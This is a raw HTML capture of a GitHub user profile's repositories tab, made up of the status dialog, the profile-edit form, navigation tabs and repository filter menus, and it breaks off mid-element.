vcard-fullname d-block overflow-hidden" itemprop="name"> </span> <span class="p-nickname vcard-username d-block" itemprop="additionalName"> chikitang </span> </h1> </div> </div> <div class="mb-2 user-status-container d-md-none"> <div class="js-user-status-container rounded-2 px-2 py-1 mt-2 border" data-team-hovercards-enabled> <details class="js-user-status-details details-reset details-overlay details-overlay-dark"> <summary class="btn-link btn-block Link--secondary no-underline js-toggle-user-status-edit toggle-user-status-edit" role="menuitem" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"EDIT_USER_STATUS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="797b66215ac5265bc63e61ea380b67a3995b5dd86fe8fab5deea9ee6fbb92bc9"> <div class="d-flex flex-items-center flex-items-stretch"> <div class="f6 lh-condensed user-status-header d-flex user-status-emoji-only-header circle"> <div class="user-status-emoji-container flex-shrink-0 mr-2 d-flex flex-items-center flex-justify-center lh-condensed-ultra v-align-bottom"> <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path></svg> </div> </div> <div class=" user-status-message-wrapper f6 min-width-0" style="line-height: 20px;" > <div class="css-truncate css-truncate-target width-fit color-fg-default text-left"> <span class="color-fg-muted">Set status</span> </div> </div> </div> </summary> <details-dialog class="rounded-2 anim-fade-in fast Box Box--overlay overflow-visible" role="dialog" aria-label="Edit status" tabindex="-1"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="position-relative flex-auto js-user-status-form" data-turbo="false" action="/users/status?circle=0&compact=1&link_mentions=1&truncate=0" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="SOdH-f-2peym7Q5DQYTnVoMgrDIwG-wMjYJooZiAkyQkC6sIkVioHpU1s8tn_vGqcjbr0GZliczVQor675CAcg" /> <div class="Box-header color-bg-subtle border-bottom p-3"> <button class="Box-btn-octicon js-toggle-user-status-edit btn-octicon float-right" type="reset" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <h3 class="Box-title f5 text-bold color-fg-default">Edit status</h3> </div> <input type="hidden" name="emoji" class="js-user-status-emoji-field" value=""> <input type="hidden" name="organization_id" class="js-user-status-org-id-field" value=""> <div class="px-3 py-2 color-fg-default"> <div class="js-characters-remaining-container position-relative mt-2"> <div class="input-group d-table form-group my-0 js-user-status-form-group"> <span class="input-group-button d-table-cell v-align-middle" style="width: 1%"> <button aria-label="Choose an emoji" type="button" data-view-component="true" class="js-toggle-user-status-emoji-picker btn-outline btn p-0"> <span class="js-user-status-original-emoji" hidden></span> <span class="js-user-status-custom-emoji"></span> <span class="js-user-status-no-emoji-icon" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-smiley"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path> </svg> </span> </button> </span> <text-expander keys=": @" data-mention-url="/autocomplete/user-suggestions" data-emoji-url="/autocomplete/emoji"> <input type="text" autocomplete="off" data-no-org-url="/autocomplete/user-suggestions" data-org-url="/suggestions?mention_suggester=1" data-maxlength="80" class="d-table-cell width-full form-control js-user-status-message-field js-characters-remaining-field" placeholder="What's happening?" name="message" value="" aria-label="What is your current status?"> </text-expander> <div class="error">Could not update your status, please try again.</div> </div> <div style="margin-left: 53px" class="my-1 text-small label-characters-remaining js-characters-remaining" data-suffix="remaining" hidden> 80 remaining </div> </div> <include-fragment class="js-user-status-emoji-picker" data-url="/users/status/emoji"></include-fragment> <div class="overflow-auto ml-n3 mr-n3 px-3 border-bottom" style="max-height: 33vh"> <div class="user-status-suggestions js-user-status-suggestions collapsed overflow-hidden"> <h4 class="f6 text-normal my-3">Suggestions:</h4> <div class="mx-3 mt-2 clearfix"> <div class="float-left col-6"> <button type="button" value=":palm_tree:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="palm_tree" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f334.png">🌴</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> On vacation </div> </button> <button type="button" value=":face_with_thermometer:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="face_with_thermometer" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f912.png">🤒</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Out sick </div> </button> </div> <div class="float-left col-6"> <button type="button" value=":house:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="house" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3e0.png">🏠</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Working from home </div> </button> <button type="button" value=":dart:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="dart" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3af.png">🎯</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Focusing </div> </button> </div> </div> </div> <div class="user-status-limited-availability-container"> <div class="form-checkbox my-0"> <input type="checkbox" name="limited_availability" value="1" class="js-user-status-limited-availability-checkbox" data-default-message="I may be slow to respond." aria-describedby="limited-availability-help-text-truncate-false-compact-true" id="limited-availability-truncate-false-compact-true"> <label class="d-block f5 color-fg-default mb-1" for="limited-availability-truncate-false-compact-true"> Busy </label> <p class="note" id="limited-availability-help-text-truncate-false-compact-true"> When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability. </p> </div> </div> </div> <div class="d-inline-block f5 mr-2 pt-3 pb-2" > <div class="d-inline-block mr-1"> Clear status </div> <details class="js-user-status-expire-drop-down f6 dropdown details-reset details-overlay d-inline-block mr-2"> <summary aria-haspopup="true" data-view-component="true" class="btn-sm btn v-align-baseline"> <div class="js-user-status-expiration-interval-selected d-inline-block v-align-baseline"> Never </div> <div class="dropdown-caret"></div> </summary> <ul class="dropdown-menu dropdown-menu-se pl-0 overflow-auto" style="width: 220px; max-height: 15.5em"> <li> <button type="button" class="btn-link dropdown-item js-user-status-expire-button ws-normal" title="Never"> <span class="d-inline-block text-bold mb-1">Never</span> <div class="f6 lh-condensed">Keep this status until you clear your status or edit your status.</div> </button> </li> <li class="dropdown-divider" role="none"></li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 30 minutes" value="2022-06-07T21:44:33-07:00"> in 30 minutes </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 1 hour" value="2022-06-07T22:14:33-07:00"> in 1 hour </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 4 hours" value="2022-06-08T01:14:33-07:00"> in 4 hours </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="today" value="2022-06-07T23:59:59-07:00"> today </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="this week" value="2022-06-12T23:59:59-07:00"> this week </button> </li> </ul> </details> <input class="js-user-status-expiration-date-input" type="hidden" name="expires_at" value=""> </div> <include-fragment class="js-user-status-org-picker" data-url="/users/status/organizations"></include-fragment> </div> <div class="d-flex flex-items-center flex-justify-between p-3 border-top"> <button type="submit" disabled class="width-full btn btn-primary mr-2 js-user-status-submit"> Set status </button> <button type="button" disabled class="width-full js-clear-user-status-button btn ml-2 "> Clear status </button> </div> </form> </details-dialog> </details> </div> </div> <div class="d-flex flex-column"> <div class="flex-order-1 flex-md-order-none"> <div class="d-flex flex-lg-row flex-md-column"> </div> <!-- '"` --><!-- </textarea></xmp> --></option></form><form hidden="hidden" class="position-relative flex-auto js-profile-editable-form" data-turbo="false" action="/users/chikitang" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="iwkVToBnjXFFdNjInjG45Uav3_DZUvm96ztLPa7SIYzz2alJxKqJKkcLPLY81dLs-VRRaZXtdnzRx1yISU3dcQ" /> <div class="mb-1 mb-2"> <label for="user_profile_name" class="d-block mb-1">Name</label> <input class="width-full form-control" id="user_profile_name" placeholder="Name" aria-label="Name" name="user[profile_name]" value=""> </div> <div class="js-length-limited-input-container"> <label for="user_profile_bio" class="d-block mb-1">Bio</label> <text-expander keys=": @" data-emoji-url="/autocomplete/emoji" data-mention-url="/autocomplete/user-suggestions"> <textarea class="form-control js-length-limited-input mb-1 width-full js-user-profile-bio-edit" id="user_profile_bio" name="user[profile_bio]" placeholder="Add a bio" aria-label="Add a bio" rows="3" data-input-max-length="160" data-warning-text="{{remaining}} remaining"></textarea> <div class="d-none js-length-limited-input-warning user-profile-bio-message text-right m-0"></div> </text-expander> <p class="note"> You can <strong>@mention</strong> other users and organizations to link to them. </p> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-organization"> <path fill-rule="evenodd" d="M1.5 14.25c0 .138.112.25.25.25H4v-1.25a.75.75 0 01.75-.75h2.5a.75.75 0 01.75.75v1.25h2.25a.25.25 0 00.25-.25V1.75a.25.25 0 00-.25-.25h-8.5a.25.25 0 00-.25.25v12.5zM1.75 16A1.75 1.75 0 010 14.25V1.75C0 .784.784 0 1.75 0h8.5C11.216 0 12 .784 12 1.75v12.5c0 .085-.006.168-.018.25h2.268a.25.25 0 00.25-.25V8.285a.25.25 0 00-.111-.208l-1.055-.703a.75.75 0 11.832-1.248l1.055.703c.487.325.779.871.779 1.456v5.965A1.75 1.75 0 0114.25 16h-3.5a.75.75 0 01-.197-.026c-.099.017-.2.026-.303.026h-3a.75.75 0 01-.75-.75V14h-1v1.25a.75.75 0 01-.75.75h-3zM3 3.75A.75.75 0 013.75 3h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 3.75zM3.75 6a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM3 9.75A.75.75 0 013.75 9h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 9.75zM7.75 9a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM7 6.75A.75.75 0 017.75 6h.5a.75.75 0 010 1.5h-.5A.75.75 0 017 6.75zM7.75 3a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Company" aria-label="Company" name="user[profile_company]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-location"> <path fill-rule="evenodd" d="M11.536 3.464a5 5 0 010 7.072L8 14.07l-3.536-3.535a5 5 0 117.072-7.072v.001zm1.06 8.132a6.5 6.5 0 10-9.192 0l3.535 3.536a1.5 1.5 0 002.122 0l3.535-3.536zM8 9a2 2 0 100-4 2 2 0 000 4z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Location" aria-label="Location" name="user[profile_location]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link"> <path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Website" aria-label="Website" name="user[profile_blog]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center" > <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 273.5 222.3" height="16" width="16"><title>Twitter</title><path d="M273.5 26.3a109.77 109.77 0 0 1-32.2 8.8 56.07 56.07 0 0 0 24.7-31 113.39 113.39 0 0 1-35.7 13.6 56.1 56.1 0 0 0-97 38.4 54 54 0 0 0 1.5 12.8A159.68 159.68 0 0 1 19.1 10.3a56.12 56.12 0 0 0 17.4 74.9 56.06 56.06 0 0 1-25.4-7v.7a56.11 56.11 0 0 0 45 55 55.65 55.65 0 0 1-14.8 2 62.39 62.39 0 0 1-10.6-1 56.24 56.24 0 0 0 52.4 39 112.87 112.87 0 0 1-69.7 24 119 119 0 0 1-13.4-.8 158.83 158.83 0 0 0 86 25.2c103.2 0 159.6-85.5 159.6-159.6 0-2.4-.1-4.9-.2-7.3a114.25 114.25 0 0 0 28.1-29.1" fill="currentColor"></path></svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Twitter username" aria-label="Twitter username" name="user[profile_twitter_username]" value="" > </div> <div class="my-3"> <div class="js-profile-editable-error color-fg-danger my-3"></div> <button type="submit" data-view-component="true" class="btn-primary btn-sm btn"> Save </button> <button type="reset" data-view-component="true" class="js-profile-editable-cancel btn-sm btn"> Cancel </button> </div> </form> </div> <div class="js-profile-editable-area d-flex flex-column d-md-block"> <div class="p-note user-profile-bio mb-3 js-user-profile-bio f4" data-bio-text="" hidden></div> <div class="mb-3"> <button name="button" type="button" class="btn btn-block js-profile-editable-edit-button" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"INLINE_EDIT_BUTTON","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="61c43523f3cefbffa175f42d94926965a2c009a1d69d82f4bd8aee8c11a19dc8">Edit profile</button> </div> <ul class="vcard-details"> <li title="Member since" class="vcard-detail pt-1 css-truncate css-truncate-target "><svg class="octicon octicon-clock" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zm.5 4.75a.75.75 0 00-1.5 0v3.5a.75.75 0 00.471.696l2.5 1a.75.75 0 00.557-1.392L8.5 7.742V4.75z"></path></svg> <span class="join-label">Joined </span> <relative-time datetime="2022-06-08T03:50:24Z" class="no-wrap">Jun 7, 2022</relative-time> </li> </ul> </div> </div> </div> </div> </div> <div data-view-component="true" class="Layout-main"> <div class="UnderlineNav user-profile-nav d-block d-md-none position-sticky top-0 pl-3 ml-n3 mr-n3 pr-3 color-bg-default" style="z-index:3;" > <nav class="UnderlineNav-body width-full p-responsive" data-pjax aria-label="User profile"> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_OVERVIEW","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="5d370149c21205ec5db1b16999e0832e303dc0e8216fdfcad467e4d739ba5bd2" data-tab-item="overview" href="/chikitang"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path> </svg> Overview </a> <a aria-current="page" class="UnderlineNav-item js-responsive-underlinenav-item selected" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_REPOSITORIES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="2878152d02a2613d43b03e73899fd932cdc33dbf741606f59108073a3be3d53e" data-tab-item="repositories" href="/chikitang?tab=repositories"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> Repositories <span title="1" data-view-component="true" class="Counter">1</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PROJECTS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="998a9967a41db96a06d41fa60e83ae993072d339981cb58ccbd2a1e8c28b8173" data-tab-item="projects" href="/chikitang?tab=projects&type=beta"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v3.585a.746.746 0 010 .83v8.085A1.75 1.75 0 0114.25 16H6.309a.748.748 0 01-1.118 0H1.75A1.75 1.75 0 010 14.25V6.165a.746.746 0 010-.83V1.75zM1.5 6.5v7.75c0 .138.112.25.25.25H5v-8H1.5zM5 5H1.5V1.75a.25.25 0 01.25-.25H5V5zm1.5 1.5v8h7.75a.25.25 0 00.25-.25V6.5h-8zm8-1.5h-8V1.5h7.75a.25.25 0 01.25.25V5z"></path> </svg> Projects <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PACKAGES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="add7fd6f4f8f617c23b86cea0dd89fef5bd1ea5fe415b3492401e9a613d417be" data-tab-item="packages" href="/chikitang?tab=packages"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-package UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8.878.392a1.75 1.75 0 00-1.756 0l-5.25 3.045A1.75 1.75 0 001 4.951v6.098c0 .624.332 1.2.872 1.514l5.25 3.045a1.75 1.75 0 001.756 0l5.25-3.045c.54-.313.872-.89.872-1.514V4.951c0-.624-.332-1.2-.872-1.514L8.878.392zM7.875 1.69a.25.25 0 01.25 0l4.63 2.685L8 7.133 3.245 4.375l4.63-2.685zM2.5 5.677v5.372c0 .09.047.171.125.216l4.625 2.683V8.432L2.5 5.677zm6.25 8.271l4.625-2.683a.25.25 0 00.125-.216V5.677L8.75 8.432v5.516z"></path> </svg> Packages <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_STARS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="9b1d942d1e97482fca652be20f1a0bdf7aadf6379f10093c52d87921e2fc4d38" data-tab-item="stars" href="/chikitang?tab=stars"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path> </svg> Stars <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> </nav> <div class="position-absolute pr-3 pr-md-4 pr-lg-5 right-0 js-responsive-underlinenav-overflow" style="visibility: hidden"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path> </svg> <span class="sr-only">More</span> </div> </summary> <div data-view-component="true"> <details-menu role="menu" class="dropdown-menu dropdown-menu-sw"> <ul > <li data-menu-item="overview" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang" href="/chikitang">Overview</a> </li> <li data-menu-item="repositories" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang?tab=repositories" href="/chikitang?tab=repositories">Repositories</a> </li> <li data-menu-item="projects" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=projects&type=beta" href="/chikitang?tab=projects&type=beta">Projects</a> </li> <li data-menu-item="packages" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=packages" href="/chikitang?tab=packages">Packages</a> </li> <li data-menu-item="stars" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=stars" href="/chikitang?tab=stars">Stars</a> </li> </ul> </details-menu> </div> </details></div> </div> <div> <div class="position-relative"> <div class="border-bottom color-border-muted py-3"> <a href="/new" class="d-md-none btn btn-primary d-flex flex-items-center flex-justify-center width-full mb-4"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo mr-1"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> New </a> <div class="d-flex flex-items-start"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="width-full" data-autosearch-results-container="user-repositories-list" aria-label="Repositories" role="search" data-turbo="false" action="/chikitang" accept-charset="UTF-8" method="get"> <div class="d-flex flex-column flex-lg-row flex-auto"> <div class="mb-1 mb-md-0 mr-md-3 flex-auto"> <input type="hidden" name="tab" value="repositories"> <input type="search" id="your-repos-filter" name="q" class="form-control width-full" placeholder="Find a repository…" autocomplete="off" aria-label="Find a repository…" value="" data-throttled-autosubmit> </div> <div class="d-flex flex-wrap"> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0 mr-1" id="type-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Type</span> <span class="d-none" data-menu-button> All </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select type</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="type-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="type" id="type_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>All</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_public" value="public" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Public</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_private" value="private" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Private</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" 